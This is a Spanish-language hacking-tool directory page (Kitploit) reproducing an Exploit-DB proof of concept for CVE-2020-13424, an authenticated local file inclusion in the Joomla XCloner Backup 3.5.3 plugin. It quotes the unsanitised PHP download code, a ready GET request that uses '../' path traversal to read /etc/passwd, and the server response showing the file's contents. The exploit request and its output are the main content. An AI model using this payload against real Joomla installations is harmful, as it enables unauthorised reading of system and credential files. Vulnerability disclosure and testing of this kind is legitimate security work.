Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/mkelepce/cve-2020-13424
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de Penetración
GitHubmkelepce/cve-2020-13424

CVE-2020-13424

Joomla! Plugin XCloner Backup 3.5.3 - Inclusión de Archivos Local (Autenticado)

Ver Repositorio
1hace 6 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Título del exploit: Joomla! Plugin XCloner Backup 3.5.3 - Inclusión de archivo local (Autenticado)
Fecha: 2020-05-10
Autor del exploit: Mehmet Kelepçe / Gais Cyber Security
ID de autor en Exploit-Db: 8763
Referencia: https://www.xcloner.com/xcloner-news/security-release-available-for-archived-joomla-version/
Página del proveedor: http://www.xcloner.com
Enlace del software: https://www.xcloner.com/support/download/
Versión: 3.5.3
Probado en: Kali Linux - Apache2

Detalle:

Archivo: administrator/components/com_xcloner-backupandstore/admin.cloner.php
-
case 'download':
downloadBackup($_REQUEST['file']);
break;
-

Archivo de la función downloadBackup -> administrator/components/com_xcloner-backupandstore/cloner.functions.php
Parámetro vulnerable: file

Definición de la función downloadBackup
-
function downloadBackup($file)
{
global $_CONFIG;

$file = realpath($_CONFIG['clonerPath'] . "/$file");
//Primero, comprobar si el archivo existe
if (!is_file($file)) {
die("404 Archivo $file no encontrado!");
}

//Información del archivo
$len = get_filesize($file);
$filename = basename($file);
$file_extension = strtolower(substr(strrchr($filename, "."), 1));

//Setam Content-Type-urile pentru fisierul in cauza
switch ($file_extension) {
default:
$ctype = "application/force-download";
}

smartReadFile($file, $filename);

exit;
}
-
y definición de la función smartReadFile
-
function smartReadFile($location, $filename, $mimeType='application/octet-stream')
{ if(!file_exists($location))
{ header ("HTTP/1.0 404 Not Found");
return;
}
$size=filesize($location); $time=date('r',filemtime($location)); $fm=@fopen($location,'r'); . . . - PoC: Petición: - GET /joomla/administrator/index.php?option=com_xcloner-backupandrestore&task=download&file=../../../../../../../../etc/passwd HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Connection: close Cookie: COOKIES Upgrade-Insecure-Requests: 1 - Respuesta: - HTTP/1.0 200 OK Date: Sun, 10 May 2020 18:12:04 GMT Server: Apache/2.4.41 (Debian) Cache-Control: public, must-revalidate, max-age=0 Pragma: no-cache Accept-Ranges: bytes Content-Length: 3347 Content-Range: bytes 0-3347/3347 Content-Disposition: inline; filename=passwd Content-Transfer-Encoding: binary Last-Modified: Sun, 22 Mar 2020 05:41:35 -0700 Connection: close Content-Type: application/octet-stream root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin bin❌2:2:bin:/bin:/usr/sbin/nologin sys❌3:3:sys:/dev:/usr/sbin/nologin sync❌4:65534:sync:/bin:/bin/sync . .
















/



http://localhost/joomla/administrator/index.php?option=com_xcloner-backupandrestore&task=view




























Descargar herramienta